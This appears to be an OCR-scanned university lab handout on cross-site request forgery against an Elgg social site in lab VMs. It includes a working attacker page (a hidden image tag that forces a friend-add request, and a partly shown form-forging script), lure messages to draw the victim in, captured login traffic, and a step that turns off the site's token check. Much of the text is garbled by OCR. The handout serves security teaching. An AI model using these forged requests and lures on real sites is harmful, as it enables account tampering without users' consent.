CSCI 5234 Web Security
Labl

Cross Site Request Forgery (CSRF) Attacks

Configure the Virtual Machines:

1. Follow the instructions given in the Lab Setup page to download and install the virtual machines
(VMs).

2. Configure the Virtual Machines after having installed the VMs:
NOTE: A VM must be off in order to be configured.
Click and open the Settings (Figure 1).
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Figure 1: Configuring the VMs

3. Open the settings for the Server virtual machine.
a. Inthe General:
Advanced tab, set Shared Clipboard and Drag’n’Drop to Bidirectional.
b. Inthe Network:
Adapter 1 tab, set the “Attached to” field to Bridged Adapter.Click the arrow to show
advanced settings and change “Promiscuous Mode” to Allow VMs.
4. Right click on the Server VM and select Clone. (Note: the VM must be Powered Off).
Name the new virtual machine “Attacker”, select “Reinitialize the MAC address”, and create a
Full Clone.
5. Lab environment setup:
In the Victim VM, modify the /etc/hosts file to map the domain name of
www.csrflabattacker.com and www.csrflabelgg.com to the attacker machine’s IP address.
(modify 192.168.0.165 to the attacker machine’s IP address)
192.168.0.165  www.csrflabelgg.com
192.168.0.165  www.csrflabattacker.com

6. Apache configuration: Restart apache


file:///C:/Users/andrew/Dropbox/Web-Sec-labs-spring-2020/net-sec-Lab-Setup.pdf

Task 1: Observing HTTP Request in Victim VM

1. Open the Firefox and click the button on the right corner and click add-ons.
On the search bar, enter “HTTP Header Live” (Figure 2).
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Figure 2: Configuring the Firefox

2. Click HTTP Header Live to add it to the Firefox.
HTTP Header Live displays the HTTP header and allows the user to edit the header and send it

(Figure 3).
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Figure 3: HTTP Header Live in Firefox
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3.

In the Firefox, observe http://www.csrflabelgg.com/ (Figure 4).
moz-extension://fefac77f-ee2d-44d3-8577-a5a9a34789a3 - HTTP Header LI 1 m = 4)

1:39PM {f

NS_ERROR NET_ON_WAITING_FOR

http: //www.csrflabelgg. com/cache/1501099611/default/core/river/filter.js
Host: www.csrflabelgg.com
User-Agent: Mozilla/5.8 (X11; Ubuntu; Linux i686; rv:60.0) Gecko/20100101 Firefox/66.0
ccept: */*

ccept-Language: en-US,en;q=0.5

ccept-Encoding: gzip, deflate

Referer: http://www.csrflabelgg.com/activity/all

Cookie: Elgg=vpl55ppldegaikjdvfbpvipjhd4; elggperm=zwHp5B7np04fmk]JIpnldXk-1kjw87eKS
Connection: keep-alive

NS_ERROR_NET_ON_WAITING_FOR

http: //www.csrflabelgg. com/cache/1501099611/default/elgg/reportedcontent. js
Host: www.csrflabelgg.com

User-Agent: Mozilla/5.8 (X11; Ubuntu; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0
ccept: */*

Cookie: Elgg=vpl55ppldegaikjd4vfbpvipjhd; elggperm=zwHp5B7np04fmk]Jpnl4Xk-1kjwB7eK5
Connection: keep-alive
NS_ERROR_NET_ON_WAITING_FOR

http: //wew .csrflabelgg. com/cache/1501099611/default/elgg/Plugin.js

Host: www.csrflabelgg.com

User-Agent: Mozilla/5.8 (X11; Ubuntu; Linux i686; rv:60.8) Gecko/20100101 Firefox/66.0
ccept: */*

ccept-Language: en-US,en;q=0.5

ccept-Encoding: gzip, deflate

Referer: http://www.csrflabelgg.com/activity/all

Cookie: Elgg=vpl55ppldegaikjd4vfbpvipjh4; elggperm=zwHpS5B7np04fmkJJpnl4Xk-1kjwB7eK5
Connection: keep-alive

GET: HTTP/1.1 200 OK
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Figure 4: Observing the HTTP traffic in the Firefox

Open a browser window and login as Alice on the csrflabelgg.com page (Figure 5).

You will be able to view the report produced by the HTTP Header Live page about that login

session (Figure 6).



http://www.csrflabelgg.com/

moz-extension://36d2a2e9-11a3-48fb-ad59-13920057e2F9 - HTTP Header Livs

http://www.csrflabelgg.com/action/login

Host: www.csrflabelgg.com

User-Agent: Mozillas5.8 (X11; Ubuntu; Linux i686; rv:60.0) Gecko/201008101 Firefox/60.0
lccept: text/html,application/xhtml+xml,application/xml;q=08.9,*/*;q=0.8
liccept-Language: en-US,en;g=0.5

Ilhccept-Encoding: gzip, deflate

Referer: http://www.csrflabelgg.com/

Content-Type: application/x-www-form-urlencoded

Content-Length: 98

Cookie: Elgg=hganfgcblluldgsdiv3tmgbg9d7

Connection: keep-alive

Upgrade-Insecure-Requests: 1

| elgg_token=eYLlYpFF6Gk-Q72pddS990g&_ elgg ts=1580243287&username=alice&passwor
POST: HTTP/1.1 302 Found

Date: Tue, 28 Jan 2020 20:29:20 GMT

Server: Apache/2.4.18 (Ubuntu)

Expires: Thu, 19 Nov 1981 £8:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate

Pragma: no-cache

Set-Cookie: Elgg=911rB5q4es96j698q76aukgpv?; path=/

Location: http://www.csrflabelgg.com/

Content-Length: ©

Keep-Alive: timeout=5, max=108

Connection: Keep-Alive

Content-Type: text/html;charset=utf-8

http://www.csrflabelgg.com/

Host: www.csrflabelgg. com

User-Agent: Mozillas5.0 (X11; Ubuntu; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0
Iccept: text/html,application/xhtml+xml,application/xml;q=08.9,*/*;9=0.8
lAccept-Language: en-US,en;g=0.5

lAccept-Encoding: gzip, deflate

Referer: http://www.csrflabelgg. com/

rnnkie: Flnn=011rASnde<9R1RAANTARANKNVT

clear Options Filesave | @ Record Data @autoscroll

Figure 5. Observing the login session using HTTP Header Live

You should be able to see the username and password captured by the HTTP Header Live (Figure 6).

moz-extension://36d2a2e9-11a3-48fb-ad59-1a920057e2f9 - HTTP Header Live Sub - Moz

POST ¥ || http://www.csrflabelgg.com/action/login

Host: www.csrflabelgg.com

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:60.8) Gecko/20180101 Firefox,/60.0
lAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/%;q=0.8
Ihccept-Language: en-US,en;q=0.5

Ihccept-Encoding: gzip, deflate

Referer: http://www.csrflabelgg.com/

Content-Type: application/x-www-form-urlencoded

Content-Length: 98

Cookie: Elgg=hganfgcblluldgsdiv3tmgbga?

Connection: keep-alive

Upgrade-Insecure-Requests: 1

| _elgg_token=eY1YpFF6Gk-072pddS990g& elgg ts=1580243287&username=alice&password=seedalice

Content-Length:90

Send

Figure 6. username and password captured by the HTTP Header Live



Task 2: CSRF Attack using GET Request

In this task, we need two people in the Elgg social network: Alice and Boby. You can use only one VM
login and out or clone the other VM as Boby.

1.

On the attacker VM, open the Firefox and login to www.csrflabelgg.com as Boby and add Alice
to friend (Figure 7).
@ Alice : CSRF Lab Site X

&« -5 C ® ® www.csrflabelgg.com/pre 90% w @ v mn » =

[£] T

CSRF Lab Site

Activity Blogs Bookmarks Files Groups

Alice Friends

No friends yet.

Add friend

Send a message

Report user

Blogs

Figure 7: CSRF Lab Site



2. Observing HTTP request (Figure 8)

moz-extension:f/36d2a2e9-11a3-48fb-ad59-1a920057e2f9 - HTTP Header Live Sub - Moz

| posT™ H http://www.csrflabelgg.com/action/friends/add?friend=428__elgg_ts=15806034618_ elgg_ |
Host: www.csrflabelgg.com

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux 1686; rv:60.0) Gecko/20180101 Firefox/60.0
|lAccept: application/json, text/javascript, */*; g=0.01

IAccept-Language: en-US,en;g=0.5

Iiccept-Encoding: gzip, deflate

Referer: http://www.csrflabelgg.com/profile/alice

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

IX-Requested-With: XMLHttpReguest

Content-Length: 56

Cookie: Elgg=1195sqq3dl3imsg8Backpeknr?

Connection: keep-alive

| _elgg_ts=1580603461& elgg_ token=6bdZUCNNBIUZGsgC3x5rMQ

[ send | Content-Length:56

Figure 8: HTTP POST request

3. Now, login as Alice to www.csrflabelgg.com on the other VM, we can see that Boby is not on
Alice’s friend list (Figure 9).

&l

CSRF Lab Site

Activity Blogs Bookmarks Files Groups More »

Friends

No friends yet.

Remove friend

Send a message
Report user

Blogs

Figure 9: Boby on Alice’s profile
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http://www.csrflabelgg.com/

In order to add Alice to Boby’s friend list automatically, we need to prepare an attractive
malicious webpage. Create a file “index.html” in /var/www/CSRF/attacker and make a webpage
as shown below (Figure 10).
<html>
<body>

<h1>Win Free Electronic Gadgets</h1>

<img src="http://www.csrflabelgg.com/action/friends/add?friend=43" alt="image" width="1"
height="1" />
</body>
</html>

@ S & Terminal

GNU nano 2.5.3 File: index.html

Win Free Electronic Gadgets

Wt Get Help g Write Out gl Where Is g Cut Text
) Exit @i Read File g\ Replace gl Uncut Text

Figure 10: index.html

Now, Boby sent a message to Alice with the malicious webpage’s URL to attract Alice (Figure
11).



mH & =

CSRF Lab Site

Activity Blogs Bookmarks Files Groups More »
Messages
Compose a message
To: *
B Aice [ Boby
Whrite recp'mts usemame here Blogs
Subject: Bookmarks
Win Free Electronic gadgets Files
Pages
Messaga: Edit HTML
Wire posts
B I UT S5 2: @« +» & = @ » (@ Lo
: i s Inbox
You can win free gadgets by clicking on this link: www.csrflabattacker.com

Figure 11: Boby sends a message to Alice

6. When Alice sees the message, she curies and visits the URL given in the message (Figure 12).

CSRF Lab Site

Activity Blogs Bookmarks Files Groups More =»
Messages
|
Compose a message
Inbox i TR0 i
b 8
r—]-Bb Win Free Electronic gadget 49
= oby in Free Electronic gadgets .
minutes . Alice
age
You can win free gadgets by clicking on this fnk: www.csrflabattacker.com Blogs
Bookmarks
Files
Pages
Wire posts
Mark read

Figure 12: Alice’s inbox

7. Once Alice clicks on the URL, she is redirected to the web page we created on step 4 (Figure 13).
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Figure 13: www.csrflabattacker.com

8. After redirected to the www.csrflabattacker.com, Alice added Boby automatically (Figure 14).
File Edit View History Bookmarks Tools Help

@ Alice : CSRF Lab Site X Naw
“) > C @ (@ www.csrflabelgg.com/pro

I+ Most Visited £S5 SEED Labs [ Sites For Labs

CSRF Lab Site

Activity Blogs Bookmarks Files Groups Maore =

Account =

A"CE Friends

Remove friend

Send a message

Report user

Figure 14: Alice redirected to CSRF Lab Site

9. When we observe HTTP request, we can see the HTTP request referrer to
www.csrflabattacker.com (Figure 15).



moz-extension://36d2a2e%-11a3-48fb-ad59-1a920057e2f9 - HTTP Header Live Sub - Moz

GET. 'http:ffwww.csrfiabelgg.com_factionffriends,fadd?ﬁiend:ﬂ

Host: www.csr*labelgg.com
User-Agent: Mozillas5.8 (X11; Ubuntu; Linux i686; rv:60.0) Gecko/20100101 Firefox,/60.0

IAccept: */*
IAccept-Language: en-US,en;g=0.5

'Referer: http://www.csrflabattacker.com/
OOKk1e: ELQg=Ltba anmg
Connection: keep-alive

send Content-Length:0

Figure 15: HTTP GET request
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Task 3: CSRF Attack using POST Request

1. Boby sends the other message to Alice to change Alice’s profile (Figure 16).

Account »

TQRET ah Qitn
CSRF Lab Site

A

Activity Blogs Bookmarks Files Groups More »

Compose a message

Inbox
L
ﬂ Boby Chance to win a trip to Vegas for FREE!!! 3 minutes .
e B Alice
Chanece to win a irip to Vegas for FREEN!
Blogs
visit: hito:www.csrflabattacker. com/
Bookmarks
Files
E Boby Win Free Electronic gadgets 4 hours
ago Pages
You can win free gadgets by clicking on this nk: www.csrflabattacker.com Wire posts

Figure 16: Boby sends a message to Alice

2. In /var/www/CSRF/attacker, we modify the script and add JavaScript (Figure 17).
GNU nano 2.5.3 File: index.html

This page forges an HTTP POST request.
function forge post()

var fields;

// The following are form entries need to be filled ou$
// The entries are made hidden, so the victim won't be$
fields +=

fields +=

fields +=

fields +=

fields +=

fields +=

fields +=

fields +=

[ Read 38 1lines ]
' Get Help @Y Write Out @l Where Is gy Cut Text
4 Exit M Read File M\ Replace Ml Uncut Text

Figure 17: Added JavaScript on index.html
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3. After we created the web page, Alice clicks the web page and you should see it connect the

malicious page and then it redirected back to Alice’s profile automatically (Figure 18, Figure 19).
File Edit View History Bookmarks Tools Help

@ Alice: CSRF Lab site Pl csrflabattacker.com/

)= ¢ o @ www.csrflabattacker.com - O W
4 Most Visited 5 SEED Labs [ Sites for Labs

This page forges an HTTP POST
request.

[=

»

Figure 18: www.csrflabattacker.com

(& Alice: CSRF Lab Site * e

) www.csrflabelgg.com/pre
L+ Most Visited SEED Labs [ Sites for Labs
m "'ﬂ: B4 Account »

CSRF L ab S ite Your profile was successfully saved.

Activity Blogs Bookmarks Files Groups

Add widgets

Alice Friends

About me

Edit profile

L Edit auatar
Figure 19: The malicious website redirected to Alice’s profile
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In HTTP request, you should see the HTTP request referrer to www.csrflabattacker.com (Figure
20).

moz-extension://36d2a2e9-11a3-48fb-ad59-1a920057e2f9 - HTTP Header Live 5ub - Mozi

POST ™ || http://www.csrflabelgg.com/action/profile/edit

Host: www.csrflabelgg.com

User-Agent: Mozilla/s5.0 (X11; Ubuntu; Linux i686; rv:60.8) Gecko/20180101 Firefox/60.0
IAccept: text/html,application/xhtml+xml,application/xml;q=0.9,%/*;q=0.8
IAccept-Language: en-US,en;q=0.5

Accepnt -Focoding: gzip, deflate

Referer: http://www.csrflabattacker.com/

COMLENt - Type: appLication; X-www-Torm-ur tencoded

Content-Length: 172

Cookie: Elgg=2e67qmdsdsgc8pslmug30icv3

Connection: keep-alive

Upgrade-Insecure-Requests: 1

name=Alice&description=Boby is my Hero!&accesslevel[description]=2&briefdescription=haccesslevel[bri¢

Send Content-Length:158

Figure 20: HTTP POST request
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Task 4: Implementing a countermeasure for Elgg

1. In this task, we need to turn countermeasure on and off by modifying the file
“ActionsServices.php” in /var/www.CSRF/Elgg/vendor/elgg/elgg/engine/classes/Elgg/ (Figure

21).

ActionsService.php (/varfwww/CSRF/Elgg/vendor/elggfelgg/engine/fclasses/Elgg) - gedit

Save

Open ~ =

f**
* @see action_gatekeeper

* [@access private

*/

public function-gatekeeper(Saction) {
IFeturn true;

if (Saction === 'login') {
if (Sthis->validateActionToken(false)) {
return true;
}

Stoken = get_input('__elgg token');

$ts = (int)get_input('__elgg_ts');

if (Stoken && Sthis->validateTokenTimestamp(5ts)) {
// The tokens are present and the time looks

valid: this is probably a mismatch due to the
// login form being on a different domain.

register _error(_elgg services()->translator-
>translate('actiongatekeeper:crosssitelogin'));

forward('login', 'csrf');

}

// let the validator send an appropriate msg
PHP * TabWidth:8 = Ln 274, Col 17 = INS

Figure 21: ActionsServices.php

2. Clear cookies on the victim’s browser and click www.csrflabattacker.com, you should see the

given below (Figure 22).
File Edit History Bookmarks

View

Tools Help

@ Alice: CSRF Lab Site - csrflabattacker.com/ X

»

[z

&« N @ @ & www.csrflabattacker.com - O %

I+ Most Visited [5 SEED Labs [3 Sites for Labs

This page forges an HI'TP POST
request.

undefined

Figure 22: www.csrfattacler.com
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Because we turn off the countermeasure, the attacker cannot modify Alice’s profile anymore
(Figure 23).

File Edit View History

(& Alice: CSRF Lab Site

(&)= C @ @ www.csrflabelgg.com/prof
I+ Moskt Visited [ SEED Labs [3 Sites for Labs
B & =

'CSREF Lab Site -

Form is missing __ token or __ s
Activity BElogs Bookmarks Files Groups Maore »

Form

Form is missing _ token or __ 1s fields

Form is n

Form is missing _ token or __ s fields

Form is missing _ token or _ ts fields

Form is missing _ token or _ s fields

Edit profile Form is missing _ token or __ts fields

S I |
Figure 23: The malicious website redirected to Alice’s profile
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3. Observing HTTP request, you should see POST and GET as given below (Figure 24, Figure 25).

moz-extension://36d2a2e9-11a3-48fb-ad59-1a920057e2f9 - HTTP Header Live Sub - Mozi

GET ¥ || http://www.csrflabelgg.com/profile/alice/edit

Host: www.csrflabelgg.com

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:60.0) Gecko/20100101 Firefox,/60.0
lAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
IAccept-Language: en-US,en;q=0.5

lhccept-Encoding: gzip, deflate

Referer: http://www.csrflabelgg.com/profile/alice

Cookie: Elgg=gc6c352qeijbgpsuoddBkigt62

Connection: keep-alive

Upgrade-Insecure-Requests: 1

send Content-Length:0

Figure 24: HTTP GET request

moz-extension://36d2a2e9-11a3-48Ffb-ad59-12920057e2f9 - HTTP Header Live Sub - Moz

POSTY .http:,-’,-’www.csrflabelgg.com;’action,a’profile,-’edit

Host: www.csrflabelgg.com

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:60.8) Gecko/20100101 Firefox,/60.0
lAccept: text/html,application/xhtml+xml,application/xml;q=0.9, %/*;q=0.8
IWccept-Language: en-US,en;q=0.5

lWccept-Encoding: gzip, deflate

Referer: http://www.csrflabattacker.com/

Content-Type: application/x-www-form-urlencoded

Content-Length: 172

Cookie: Elgg=2e67qmdsdsgc8pslmug30icve3

Connection: keep-alive

Upgrade-Insecure-Requests: 1

name=Alicefdescription=Boby is my Herol&accesslevelldescription]=2&briefdescription=8accesslevellbri

Send Content-Length:158

Figure 25: HTTP POST request
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